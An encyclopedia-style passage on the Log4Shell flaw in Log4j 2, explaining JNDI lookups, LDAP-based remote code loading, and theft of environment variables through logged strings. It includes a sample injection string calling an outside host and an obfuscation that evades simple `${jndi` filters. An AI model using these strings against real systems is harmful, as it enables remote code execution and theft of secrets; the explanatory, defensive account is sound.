Log4Shell
Behavior
Behavior
--------

The [Java Naming and Directory Interface](/wiki/Java_Naming_and_Directory_Interface "Java Naming and Directory Interface") (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can use several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the [Lightweight Directory Access Protocol](/wiki/Lightweight_Directory_Access_Protocol "Lightweight Directory Access Protocol") (LDAP), a non\-Java\-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.

In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form `${prefix:name}`. For example, `Text: ${java:version}` might be converted to `Text: Java version 1.7.0_67`. Among the recognized expressions is `${jndi:<lookup>}`; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. `${jndi:ldap://example.com/file}`, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret [environment variables](/wiki/Environment_variable "Environment variable")—by placing them in the URL, in which case they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, [Java Remote Method Invocation](/wiki/Java_remote_method_invocation "Java remote method invocation") (RMI), the [Domain Name System](/wiki/Domain_Name_System "Domain Name System") (DNS), and the [Internet Inter\-ORB Protocol](/wiki/General_Inter-ORB_Protocol "General Inter-ORB Protocol") (IIOP).

Because [HTTP](/wiki/HTTP "HTTP") requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request [URL](/wiki/URL "URL") or a commonly logged [HTTP header](/wiki/HTTP_header "HTTP header"), such as `User-Agent`. Early mitigations included blocking any requests containing potentially malicious contents, such as `${jndi`. Such basic string matching solutions can be circumvented by obfuscating the request: `${${lower:j}ndi`, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter `j`. Even if an input, such as a first name, is not immediately logged, it may be later logged during internal processing and its contents executed.


What is JNDI and how does it work?